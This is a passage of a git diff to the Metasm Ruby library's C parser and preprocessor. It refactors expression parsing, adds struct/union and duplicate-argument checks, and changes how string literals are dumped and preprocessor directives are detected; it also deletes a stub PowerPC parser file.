     # allowed arguments: ExeFormat, CPU, Preprocessor, Symbol (for the data model)
     def initialize(*args)
       model = args.grep(Symbol).first || :ilp32
       lexer = args.grep(Preprocessor).first || Preprocessor.new
-      exe = args.grep(ExeFormat).first
+      @program = args.grep(ExeFormat).first
       cpu = args.grep(CPU).first
-      cpu ||= exe.cpu if exe
+      cpu ||= @program.cpu if @program
       @lexer = lexer
       @prev_pragma_callback = @lexer.pragma_callback
       @lexer.pragma_callback = lambda { |tok| parse_pragma_callback(tok) }
@@ -1105,7 +1198,7 @@ module C
         :char => 1, :float => 4, :double => 8, :longdouble => 12 }
       send model
       cpu.tune_cparser(self) if cpu
-      exe.tune_cparser(self) if exe
+      @program.tune_cparser(self) if @program
     end
 
     def ilp16
@@ -1490,6 +1583,7 @@ EOH
       when Struct
         raise self, "unknown structure size #{type.name}" if not type.members
         al = type.align(self)
+        al = 1 if (var.kind_of?(Attributes) and var.has_attribute('sizeof_packed')) or type.has_attribute('sizeof_packed')
         lm = type.members.last
         lm ? (type.offsetof(self, lm) + sizeof(lm) + al - 1) / al * al : 0
       when Union
@@ -1680,6 +1774,7 @@ EOH
         Goto.new name
       when 'return'
         expr = CExpression.parse(self, scope)	# nil allowed
+        raise tok || self, "cannot return #{expr} in function returning void" if expr and nest[0].kind_of?(Type) and nest[0].void?
         p, i = nest[0].pointer?, nest[0].integral? if expr
         r = expr.reduce(self) if p or i
         if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0)
@@ -1747,6 +1842,7 @@ EOH
     end
 
     # returns all numeric constants defined with their value, either macros or enums
+    # for enums, also return the enum name
     def numeric_constants
       ret = []
       # macros
@@ -1756,8 +1852,17 @@ EOH
         end
       }
       # enums
+      seen_enum = {}
+      @toplevel.struct.each { |k, v|
+        if v.kind_of?(Enum)
+          v.members.each { |kk, vv|
+            ret << [kk, vv, k]
+            seen_enum[kk] = true
+          }
+        end
+      }
       @toplevel.symbol.each { |k, v|
-        ret << [k, v] if v.kind_of? ::Numeric
+        ret << [k, v] if v.kind_of?(::Numeric) and not seen_enum[k]
       }
       ret
     end
@@ -1852,10 +1957,11 @@ EOH
         name = tok.raw
         raise tok, 'bad struct name' if Keyword[name] or (?0..?9).include?(name[0])
         @type.backtrace = tok
-        @type.name = tok.raw
+        @type.name = name
         @type.parse_attributes(parser)
         raise parser if not ntok = parser.skipspaces
         if ntok.type != :punct or ntok.raw != '{'
+          raise tok, "struct/union confusion" if scope.struct[name] and scope.struct[name].class != @type.class
           # variable declaration
           parser.unreadtok ntok
           if ntok.type == :punct and ntok.raw == ';'
@@ -1864,22 +1970,22 @@ EOH
             @type = scope.struct[name] ||= @type
           else
             # check that the structure exists
-            # do not check it is declared (may be a pointer)
             struct = scope.struct_ancestors[name]
             # allow incomplete types, usage as var type will raise later
             struct = scope.struct[name] = @type if not struct
-            raise tok, 'unknown struct' if not struct.kind_of?(@type.class)
+            raise tok, 'unknown struct' if struct.class != @type.class
             (struct.attributes ||= []).concat @type.attributes if @type.attributes
-            (struct.qualifier  ||= []).concat @type.qualifier  if @type.qualifier
+            (struct.qualifier  ||= []).concat @type.qualifier  if @type.qualifier	# XXX const struct foo bar => bar is const, not foo...
             @type = struct
           end
           return
         end
-        if struct = scope.struct[name] and struct.members
-          oldstruct = scope.struct.delete(name)
-          struct = nil
-        end
-        if struct
+        if scope.struct[name] and scope.struct[name].members
+          # redefinition of an existing struct, save for later comparison
+          oldstruct = scope.struct[name]
+          raise tok, "struct/union confusion" if oldstruct.class != @type.class
+        elsif struct = scope.struct[name]
+          raise tok, "struct/union confusion" if struct.class != @type.class
           (struct.attributes ||= []).concat @type.attributes if @type.attributes
           (struct.qualifier  ||= []).concat @type.qualifier  if @type.qualifier
           struct.backtrace = @type.backtrace
@@ -1894,8 +2000,11 @@ EOH
 
       @type.parse_members(parser, scope)
 
-      if oldstruct and @type != oldstruct
-        raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})"
+      if oldstruct
+        if not @type.compare_deep(oldstruct)
+          raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})"
+        end
+        @type = oldstruct
       end
     end
 
@@ -1906,7 +2015,10 @@ EOH
       name = :int
       tok = nil
       loop do
-        raise parser if not tok = parser.skipspaces
+        if not tok = parser.skipspaces
+          raise parser if specifier.empty?
+          break
+        end
         if tok.type != :string
           parser.unreadtok tok
           break
@@ -2120,6 +2232,8 @@ EOH
             raise parser, '"{" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '{'
             parser.unreadtok tok
           end
+          namedargs = t.type.args.map { |a| a.name }.compact - [false]
+          raise tok, "duplicate argument name #{namedargs.find { |a| namedargs.index(a) != namedargs.rindex(a) }.inspect}" if namedargs.length != namedargs.uniq.length
         end
         parse_attributes(parser, true)	# should be type.attrs, but this should be more existing-compiler-compatible
       else
@@ -2210,12 +2324,13 @@ EOH
         else
           l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer
           r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer
-                 CExpression.new(l, @op, r, @type)
+          CExpression.new(l, @op, r, @type)
         end
       when :'.'
         le = CExpression.reduce(parser, @lexpr)
         if le.kind_of? Variable and le.initializer.kind_of? ::Array
-          midx = le.type.members.index(le.type.findmember(@rexpr))
+          t = le.type.untypedef
+          midx = t.members.index(t.findmember(@rexpr))
           CExpression.reduce(parser, le.initializer[midx] || 0)
         else
           CExpression.new(le, @op, @rexpr, @type)
@@ -2253,7 +2368,7 @@ EOH
           end
         else
           l = CExpression.reduce(parser, @lexpr)
-                 if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric)
+          if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric)
             l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer
             r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer
             return CExpression.new(l, @op, r, @type)
@@ -2296,7 +2411,7 @@ EOH
       o.object_id == self.object_id or
       (self.class == o.class and op == o.op and lexpr == o.lexpr and rexpr == o.rexpr)
     end
-  
+
     def ===(o)
       (self.class == o.class and op == o.op and lexpr === o.lexpr and rexpr === o.rexpr) or
       (o.class == Variable and not @op and @rexpr == o)
@@ -2309,7 +2424,7 @@ EOH
     end
     def negate
       if @op == :'!'
-          CExpression[@rexpr]
+        CExpression[@rexpr]
       elsif nop = NegateOp[@op]
         if nop == :== and @rexpr.kind_of? CExpression and not @rexpr.op and @rexpr.rexpr == 0 and
             @lexpr.kind_of? CExpression and [:==, :'!=', :>, :<, :>=, :<=, :'!'].include? @lexpr.op
@@ -2477,6 +2592,7 @@ EOH
             type = :long if suffix.count('l') == 1
           end
           val = CExpression[val, BaseType.new(type, *specifier)]
+          val = parse_value_postfix(parser, scope, val)
         else raise parser, "internal error #{val.inspect}"
         end
 
@@ -2484,6 +2600,7 @@ EOH
         if tok.raw[0] == ?'
           raise tok, 'invalid character constant' if not [1, 2, 4, 8].include? tok.value.length	# TODO 0fill
           val = CExpression[Expression.decode_imm(tok.value, tok.value.length, :big), BaseType.new(:int)]
+          val = parse_value_postfix(parser, scope, val)
         else
           val = CExpression[tok.value, Pointer.new(BaseType.new(tok.raw[0, 2] == 'L"' ? :short : :char))]
           val = parse_value_postfix(parser, scope, val)
@@ -2683,97 +2800,110 @@ EOH
       end
     end
 
+    def parse_popstack(parser, stack, opstack)
+      r = stack.pop
+      l = stack.pop
+      case op = opstack.pop
+      when :'?:'
+        stack << CExpression.new(stack.pop, op, [l, r], l.type)
+      when :','
+        stack << CExpression.new(l, op, r, r.type)
+      when :'='
+        unless r.kind_of?(CExpression) and not r.lexpr and r.type.kind_of?(BaseType) and
+            ((not r.op and r.rexpr.kind_of?(Integer)) or
+             (r.op == :- and r.rexpr.kind_of?(CExpression) and not r.rexpr.op and not r.rexpr.lexpr and r.rexpr.rexpr.kind_of?(Integer))) and
+             l.kind_of?(Typed) and (l.type.untypedef.kind_of?(BaseType) or (l.type.untypedef.kind_of?(Pointer) and r.rexpr == 0))
+          # avoid useless warnings on unsigned foo = -1  /  void *foo = 0
+          parser.check_compatible_type(parser, r.type, l.type)
+        end
+        if l.kind_of?(Typed) and (lt = l.type.untypedef).kind_of?(BaseType) and r.kind_of?(Typed) and (rt = r.type.untypedef).kind_of?(BaseType) and lt.specifier != :unsigned and rt.specifier == :unsigned and parser.typesize[lt.name] > parser.typesize[rt.name]
+          # (int32)i = (uchar)255 => 255, not -1
+          r = CExpression.new(nil, nil, r, BaseType.new(lt.name, :unsigned))
+        end
+        stack << CExpression.new(l, op, r, l.type)
+      when :'&&', :'||'
+        stack << CExpression.new(l, op, r, BaseType.new(:int))
+      else
+        # XXX struct == struct ?
+        raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c
+        raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c
+
+        if l.type.pointer? and r.type.pointer?
+          type = \
+          case op
+          when :'-'; BaseType.new(:long)	# addr_t or sumthin ?
+          when :'-='; l.type
+          when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long)
+          else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type
+          end
+        elsif l.type.pointer? or r.type.pointer?
+          puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op
+          type = l.type.pointer? ? l.type : r.type
+        elsif RIGHTASSOC[op] and op != :'?:'	# += etc
+          type = l.type
+        else
+          # yay integer promotion
+          lt = l.type.untypedef
+          rt = r.type.untypedef
+          if    (t = lt).name == :longdouble or (t = rt).name == :longdouble or
+                (t = lt).name == :double or (t = rt).name == :double or
+                (t = lt).name == :float or (t = rt).name == :float
+          # long double > double > float ...
+            type = t
+          elsif true
+            # custom integer rules based on type sizes
+            lts = parser.typesize[lt.name]
+            rts = parser.typesize[rt.name]
+            its = parser.typesize[:int]
+            if not lts or not rts
+              type = BaseType.new(:int)
+            elsif lts >  rts and lts >= its
+              type = lt
+            elsif rts >  lts and rts >= its
+              type = rt
+            elsif lts == rts and lts >= its
+              type = lt
+              type = rt if rt.specifier == :unsigned
+            else
+              type = BaseType.new(:int)
+            end
+            # end of custom rules
+          elsif ((t = lt).name == :long and t.specifier == :unsigned) or
+                ((t = rt).name == :long and t.specifier == :unsigned)
+          # ... ulong ...
+            type = t
+          elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or
+                (rt.name == :long and lt.name == :int and lt.specifier == :unsigned)
+          # long+uint => ulong
+            type = BaseType.new(:long, :unsigned)
+          elsif (t = lt).name == :long or (t = rt).name == :long or
+                ((t = lt).name == :int and t.specifier == :unsigned) or
+                ((t = rt).name == :int and t.specifier == :unsigned)
+          # ... long > uint ...
+            type = t
+          else
+          # int
+            type = BaseType.new(:int)
+          end
+        end
+
+        case op
+        when :'>', :'>=', :'<', :'<=', :'==', :'!='
+          # cast both sides
+          l = CExpression[l, type] if l.type != type
+          r = CExpression[r, type] if r.type != type
+          stack << CExpression.new(l, op, r, BaseType.new(:int))
+        else
+          # promote result
+          stack << CExpression.new(l, op, r, type)
+        end
+      end
+    end
+
     def parse(parser, scope, allow_coma = true)
       opstack = []
       stack = []
 
-      popstack = lambda {
-        r, l = stack.pop, stack.pop
-        case op = opstack.pop
-        when :'?:'
-          stack << CExpression.new(stack.pop, op, [l, r], l.type)
-        when :','
-          stack << CExpression.new(l, op, r, r.type)
-        when :'='
-          parser.check_compatible_type(parser, r.type, l.type)
-          stack << CExpression.new(l, op, r, l.type)
-        when :'&&', :'||'
-          stack << CExpression.new(l, op, r, BaseType.new(:int))
-        else
-          # XXX struct == struct ?
-          raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c
-          raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c
-
-          if l.type.pointer? and r.type.pointer?
-            type = \
-            case op
-            when :'-'; BaseType.new(:long)	# addr_t or sumthin ?
-            when :'-='; l.type
-            when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long)
-            else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type
-            end
-          elsif l.type.pointer? or r.type.pointer?
-            puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op
-            type = l.type.pointer? ? l.type : r.type
-          else
-            # yay integer promotion
-            lt = l.type.untypedef
-            rt = r.type.untypedef
-            if    (t = lt).name == :longdouble or (t = rt).name == :longdouble or
-                  (t = lt).name == :double or (t = rt).name == :double or
-                  (t = lt).name == :float or (t = rt).name == :float
-            # long double > double > float ...
-              type = t
-            elsif true
-              # custom integer rules based on type sizes
-              lts = parser.typesize[lt.name]
-              rts = parser.typesize[rt.name]
-              its = parser.typesize[:int]
-              if not lts or not rts
-                type = BaseType.new(:int)
-              elsif lts >  rts and lts >= its
-                type = lt
-              elsif rts >  lts and rts >= its
-                type = rt
-              elsif lts == rts and lts >= its
-                type = lt
-                type = rt if rt.specifier == :unsigned
-              else
-                type = BaseType.new(:int)
-              end
-              # end of custom rules
-            elsif ((t = lt).name == :long and t.specifier == :unsigned) or
-                  ((t = rt).name == :long and t.specifier == :unsigned)
-            # ... ulong ...
-              type = t
-            elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or
-                  (rt.name == :long and lt.name == :int and lt.specifier == :unsigned)
-            # long+uint => ulong
-              type = BaseType.new(:long, :unsigned)
-            elsif (t = lt).name == :long or (t = rt).name == :long or
-                  ((t = lt).name == :int and t.specifier == :unsigned) or
-                  ((t = rt).name == :int and t.specifier == :unsigned)
-            # ... long > uint ...
-              type = t
-            else
-            # int
-              type = BaseType.new(:int)
-            end
-          end
-
-          case op
-          when :'>', :'>=', :'<', :'<=', :'==', :'!='
-            # cast both sides
-            l = CExpression[l, type] if l.type != type
-            r = CExpression[r, type] if r.type != type
-            stack << CExpression.new(l, op, r, BaseType.new(:int))
-          else
-            # promote result
-            stack << CExpression.new(l, op, r, type)
-          end
-        end
-      }
-
       return if not e = parse_value(parser, scope)
 
       stack << e
@@ -2783,7 +2913,7 @@ EOH
         when :'?'
           # a, b ? c, d : e, f  ==  a, (b ? (c, d) : e), f
           until opstack.empty? or OP_PRIO[opstack.last][:'?:']
-            popstack[]
+            parse_popstack(parser, stack, opstack)
           end
           stack << parse(parser, scope)
           raise op || parser, '":" expected' if not op = readop(parser) or op.value != :':'
@@ -2798,7 +2928,7 @@ EOH
             break
           end
           until opstack.empty? or OP_PRIO[op.value][opstack.last]
-            popstack[]
+            parse_popstack(parser, stack, opstack)
           end
         end
 
@@ -2808,7 +2938,7 @@ EOH
       end
 
       until opstack.empty?
-        popstack[]
+        parse_popstack(parser, stack, opstack)
       end
 
       CExpression[stack.first]
@@ -2830,16 +2960,19 @@ EOH
     # stroff is the offset from the start of this string (non-nul for nested structs)
     # cp is a reference to the C::Parser
     # struct to the C::Union/Struct/Array
-    # length is the byte size of the C struct
-    # XXX for an Array, it's also the byte size, check obj.struct.length for number of elements
-    attr_accessor :str, :stroff, :cp, :struct, :length
+    # sizeof is the byte size of the C struct
+    attr_accessor :str, :stroff, :cp, :struct
+    attr_writer :sizeof
     def initialize(cp, struct, str=nil, stroff=0)
       @cp, @struct = cp, struct
-      @length = @cp.sizeof(@struct)
-      @str = str || [0].pack('C')*@length
+      @str = str || [0].pack('C')*sizeof
       @stroff = stroff
     end
 
+    def sizeof
+      @sizeof ||= @cp.sizeof(@struct)
+    end
+
     def [](*a)
       if @struct.kind_of? C::Array and a.length == 1 and @struct.length and a[0].kind_of? Integer
         i = a[0]
@@ -2897,9 +3030,10 @@ EOH
       end
 
       a, val = a
-      raise "#{a.inspect} not a struct member" if not a.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true)
-      a = f.name if a.kind_of? String or a.kind_of? Symbol
-      val = @length if val == :size
+      f = a
+      raise "#{a.inspect} not a struct member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true)
+      a = f.name || f
+      val = sizeof if val == :size
       off = @stroff + @struct.offsetof(@cp, a)
 
       if bf = @struct.bitoffsetof(@cp, a)
@@ -2932,14 +3066,14 @@ EOH
     def to_s(off=nil, maxdepth=500)
       return '{ /* ... */ }' if maxdepth <= 0
       str = ['']
-      if @struct.kind_of? C::Array
+      if @struct.kind_of?(C::Array)
         str.last << "#{@struct.type} x[#{@struct.length}] = " if not off
         mlist = (0...@struct.length)
         fldoff = mlist.inject({}) { |h, i| h.update i => i*@cp.sizeof(@struct.type) }
-      elsif @struct.kind_of? C::Struct
+      elsif @struct.kind_of?(C::Struct)
         str.last << "struct #{@struct.name || '_'} x = " if not off
+        @struct.update_member_cache(@cp) if not @struct.fldlist
         fldoff = @struct.fldoffset
-        fbo = @struct.fldbitoffset || {}
         mlist = @struct.members.map { |m| m.name || m }
       else
         str.last << "union #{@struct.name || '_'} x = " if not off
@@ -2947,7 +3081,7 @@ EOH
       end
       str.last << '{'
       mlist.each { |k|
-        if k.kind_of? C::Variable	# anonymous member
+        if k.kind_of? Variable	# anonymous member
           curoff = off.to_i + @struct.offsetof(@cp, k)
           val = self[k]
           k = '?'
@@ -2955,7 +3089,7 @@ EOH
           curoff = off.to_i + (fldoff ? fldoff[k].to_i : 0)
           val = self[k]
         end
-        if val.kind_of? Integer
+        if val.kind_of?(::Integer)
           if val >= 0x100
             val = '0x%X,   // +%x' % [val, curoff]
           elsif val <= -0x100
@@ -2971,7 +3105,7 @@ EOH
           val = val.to_s.sub(/$/, ',   // +%x' % curoff)
         end
         val = val.gsub("\n", "\n\t")
-        str << "\t#{k.kind_of?(Integer) ? "[#{k}]" : ".#{k}"} = #{val}"
+        str << "\t#{k.kind_of?(::Integer) ? "[#{k}]" : ".#{k}"} = #{val}"
       }
       str << '}'
       str.last << (off ? ',' : ';')
@@ -3170,8 +3304,7 @@ EOH
       all = @toplevel.struct.values + @toplevel.symbol.values
       all -= all.grep(::Integer)	# Enum values
 
-      r, dep = @toplevel.dump_reorder(all, todo_rndr, todo_deps)
-      r.join("\n")
+      @toplevel.dump_reorder(all, todo_rndr, todo_deps)[0].join("\n")
     end
 
     # returns a string containing the C definition(s) of toplevel functions, with their dependencies
@@ -3750,7 +3883,7 @@ EOH
       r.last << 'asm '
       r.last << 'volatile ' if @volatile
       r.last << '('
-      r.last << @body.inspect
+      r.last << CExpression.string_inspect(@body)
       if @output or @input or @clobber
         if @output and @output != []
           # TODO
@@ -3768,13 +3901,18 @@ EOH
         end
       end
       if @clobber and @clobber != []
-        r << (': ' << @clobber.map { |c| c.inspect }.join(', '))
+        r << (': ' << @clobber.map { |c| CExpression.string_inspect(c) }.join(', '))
       end
       r.last << ');'
       [r, dep]
     end
   end
   class CExpression
+    def self.string_inspect(s)
+      # keep all ascii printable except \ and "
+      '"' + s.gsub(/[^ !\x23-\x5b\x5d-\x7e]/) { |o| '\\x' + o.unpack('H*').first } + '"'
+    end
+
     def self.dump(e, scope, r=[''], dep=[], brace = false)
       if $DEBUG
         brace = false
@@ -3787,7 +3925,7 @@ EOH
       r, dep = \
       case e
       when ::Numeric; r.last << e.to_s ; [r, dep]
-      when ::String; r.last << e.inspect ; [r, dep]
+      when ::String; r.last << string_inspect(e) ; [r, dep]
       when CExpression; e.dump_inner(scope, r, dep, brace)
       when Variable; e.dump(scope, r, dep)
       when nil; [r, dep]
@@ -3832,7 +3970,7 @@ EOH
             end
           when ::String
             r.last << 'L' if @type.kind_of? Pointer and @type.type.kind_of? BaseType and @type.type.name == :short
-            r.last << @rexpr.inspect
+            r.last << CExpression.string_inspect(@rexpr)
           when CExpression # cast
             r, dep = @type.dump_cast(scope, r, dep)
             r, dep = CExpression.dump(@rexpr, scope, r, dep, true)
@@ -3866,7 +4004,7 @@ EOH
           l = lexpr.lexpr.type.pointed.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'->'
           # honor __attribute__((indexenum(enumname)))
           if l and l.attributes and rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr.kind_of? ::Integer and
-                     n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr)
+              n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr)
             r.last << i
             dep |= [enum]
           else
diff --git a/lib/metasm/metasm/ppc/parse.rb b/lib/metasm/metasm/ppc/parse.rb
deleted file mode 100644
index 0ec1025fb6..0000000000
--- a/lib/metasm/metasm/ppc/parse.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/ppc/opcodes'
-require 'metasm/parse'
-
-module Metasm
-class PowerPC
-# TODO
-  def parse_arg_valid?(op, sym, arg)
-    # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32  ori t0 down imm32  add t0, reg  lw reg, 0(t0)
-    case sym
-    when :rs, :rt, :rd;   arg.kind_of? Reg
-    when :sa, :i16, :i20, :i26; arg.kind_of? Expression
-    when :rs_i16;         arg.kind_of? Memref
-    when :ft;             arg.kind_of? FpReg
-    else raise "internal error: mips arg #{sym.inspect}"
-    end
-  end
-
-  def parse_argument(pgm)
-    pgm.skip_space
-    return if not tok = pgm.nexttok
-    if tok.type == :string and Reg.s_to_i[tok.raw]
-      pgm.readtok
-      arg = Reg.new Reg.s_to_i[tok.raw]
-    elsif tok.type == :string and FpReg.s_to_i[tok.raw]
-      pgm.readtok
-      arg = FpReg.new FpReg.s_to_i[tok.raw]
-    else
-      arg = Expression.parse pgm
-      pgm.skip_space
-      # check memory indirection: 'off(base reg)'	# XXX scaled index ?
-      if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '('
-        pgm.readtok
-        pgm.skip_space_eol
-        ntok = pgm.readtok
-        raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw]
-        base = Reg.new Reg.s_to_i[ntok.raw]
-        pgm.skip_space_eol
-        ntok = pgm.readtok
-        raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')'
-        arg = Memref.new base, arg
-      end
-    end
-    arg
-  end
-end
-end
diff --git a/lib/metasm/metasm/preprocessor.rb b/lib/metasm/metasm/preprocessor.rb
index 899f707210..842f4ad8bf 100644
--- a/lib/metasm/metasm/preprocessor.rb
+++ b/lib/metasm/metasm/preprocessor.rb
@@ -84,7 +84,7 @@ class Preprocessor
     # modifies the list, returns an array of list of tokens/nil
     # handles nesting
     def self.parse_arglist(lexer, list=nil)
-      readtok = lambda { list ? list.shift : lexer.readtok(false) }
+      readtok = lambda { list ? list.shift : lexer.readtok_nopp }
       unreadtok = lambda { |t| list ? (list.unshift(t) if t) : lexer.unreadtok(t) }
       tok = nil
       unreadlist = []
@@ -378,6 +378,7 @@ class Preprocessor
   # hash filename => file content
   attr_accessor :hooked_include
   attr_accessor :warn_redefinition
+  attr_accessor :may_preprocess
 
   # global default search directory for #included <files>
   @@include_search_path = ['/usr/include']
@@ -385,18 +386,14 @@ class Preprocessor
   def self.include_search_path=(np) @@include_search_path=np end
 
   def initialize(text='')
-    @queue = []
     @backtrace = []
     @definition = %w[__FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__].inject({}) { |h, n| h.update n => SpecialMacro.new(n) }
     @include_search_path = @@include_search_path.dup
     # stack of :accept/:discard/:discard_all/:testing, represents the current nesting of #if..#endif
     @ifelse_nesting = []
-    @text = text
-    @pos = 0
-    @filename = 'unknown'
-    @lineno = 1
     @warn_redefinition = true
     @hooked_include = {}
+    @may_preprocess = false
     @pragma_once = {}
     @pragma_callback = lambda { |otok|
       tok = otok
@@ -405,6 +402,7 @@ class Preprocessor
       unreadtok tok
       puts otok.exception("unhandled pragma #{str.inspect}").message if $VERBOSE
     }
+    feed!(text)
     define '__METASM__', VERSION
   end
 
@@ -493,11 +491,16 @@ class Preprocessor
   def feed!(text, filename='unknown', lineno=1)
     raise ArgumentError, 'need something to parse!' if not text
     @text = text
+    if not @may_preprocess and (@text =~ /^\s*(#|\?\?=)/ or (not @definition.empty? and
+         @text =~ /#{@definition.keys.map { |k| Regexp.escape(k) }.join('|')}/))
+      @may_preprocess = true
+    end
     # @filename[-1] used in trace_macros to distinguish generic/specific files
     @filename = "\"#{filename}\""
     @lineno = lineno
     @pos = 0
     @queue = []
+    @backtrace = []
     self
   end
 
@@ -512,7 +515,7 @@ class Preprocessor
 
   # reads one character from self.text
   # updates self.lineno
-  # handles trigraphs and \-continued lines
+  # handles \-continued lines
   def getchar
     @ungetcharpos = @pos
     @ungetcharlineno = @lineno
@@ -520,11 +523,11 @@ class Preprocessor
     @pos += 1
 
     # check trigraph
-    if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]]
-      puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE
-      c = Trigraph[@text[@pos+1]]
-      @pos += 2
-    end
+    #if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]]
+    #	puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE
+    #	c = Trigraph[@text[@pos+1]]
+    #	@pos += 2
+    #end
 
     # check line continuation
     # TODO portability
@@ -567,9 +570,9 @@ class Preprocessor
   end
 
   # calls readtok_nopp and handles preprocessor directives
-  def readtok(expand_macros = true)
-    lastpos = @pos
+  def readtok
     tok = readtok_nopp
+    return tok if not @may_preprocess	# shortcut
 
     if not tok
       # end of file: resume parent
@@ -579,32 +582,41 @@ class Preprocessor
         tok = readtok
       end
 
-    elsif (tok.type == :eol or lastpos == 0) and @ifelse_nesting.last != :testing
-      unreadtok tok if lastpos == 0
-      # detect preprocessor directive
-      # state = 1 => seen :eol, 2 => seen #
+    elsif tok.type == :punct and tok.raw == '#' and not tok.expanded_from and @ifelse_nesting.last != :testing
+      # backward check for :eol (skip the '#' itself)
+      pos = @pos-2
+      while pos >= 0		# if reach start of file, proceed
+        case @text[pos, 1]
+        when "\n"
+          pos -= 1 if pos > 0 and @text[pos-1] == ?\r
+          return tok if pos > 0 and @text[pos-1] == ?\\	# check if the newline was a line-continuation
+          return tok if pos > 2 and @text[pos-3, 3] == '??/'	# trigraph
+          break	# proceed
+        when /\s/	# beware switch order, this matches "\n" too
+        else return tok	# false alarm
+        end
+        pos -= 1
+      end
       pretok = []
       rewind = true
-      state = 1
-      loop do
-        pretok << (ntok = readtok_nopp)
-        break if not ntok
+      while ntok = readtok_nopp
+        pretok << ntok
         if ntok.type == :space	# nothing
-        elsif state == 1 and ntok.type == :punct and ntok.raw == '#' and not ntok.expanded_from
-          state = 2
-        elsif state == 2 and ntok.type == :string and not ntok.expanded_from
+          next
+        elsif ntok.type == :string and not ntok.expanded_from
           rewind = false if preprocessor_directive(ntok)
-          break
-        else break
         end
+        break
       end
       if rewind
         # false alarm: revert
         pretok.reverse_each { |t| unreadtok t }
+      else
+        # XXX return :eol ?
+        tok = readtok
       end
-      tok = readtok if lastpos == 0	# else return the :eol
 
-    elsif expand_macros and tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and
+    elsif tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and
         ((m.args and margs = Macro.parse_arglist(self)) or not m.args)
 
       if defined? @traced_macros and tok.backtrace[-2].to_s[0] == ?" and m.name and m.name.backtrace[-2].to_s[0] == ?<
@@ -637,21 +649,20 @@ class Preprocessor
     when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_
       tok.type = :string
       raw = tok.raw << c
-      loop do
-        case c = getchar
-        when nil; ungetchar; break		# avoids 'no method "coerce" for nil' warning
+      while c = getchar
+        case c
         when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_
-          raw << c
-        else ungetchar; break
+        else break
         end
+        raw << c
       end
+      ungetchar
 
     when ?\ , ?\t, ?\r, ?\n, ?\f
       tok.type = ((c == ?\  || c == ?\t) ? :space : :eol)
       raw = tok.raw << c
-      loop do
-        case c = getchar
-        when nil; break
+      while c = getchar
+        case c
         when ?\ , ?\t
         when ?\n, ?\f, ?\r; tok.type = :eol
         else break
@@ -676,8 +687,7 @@ class Preprocessor
         tok.type = :space
         raw << c
         seenstar = false
-        loop do
-          raise tok, 'unterminated c++ comment' if not c = getchar
+        while c = getchar
           raw << c
           case c
           when ?*; seenstar = true
@@ -685,6 +695,7 @@ class Preprocessor
           else seenstar = false
           end
         end
+        raise tok, 'unterminated c++ comment' if not c
       else
         # just a slash
         ungetchar
@@ -704,59 +715,60 @@ class Preprocessor
   def readtok_nopp_str(tok, delimiter)
     tok.type = :quoted
     tok.raw << delimiter
-      tok.value = ''
+    tok.value = ''
+    tok.value.force_encoding('binary') if tok.value.respond_to?(:force_encoding)
     c = nil
-      loop do
-        raise tok, 'unterminated string' if not c = getchar
+    loop do
+      raise tok, 'unterminated string' if not c = getchar
+      tok.raw << c
+      case c
+      when delimiter; break
+      when ?\\
+        raise tok, 'unterminated escape' if not c = getchar
         tok.raw << c
+        tok.value << \
         case c
-        when delimiter; break
-        when ?\\
-          raise tok, 'unterminated escape' if not c = getchar
-          tok.raw << c
-          tok.value << \
-          case c
-          when ?n; ?\n
-          when ?r; ?\r
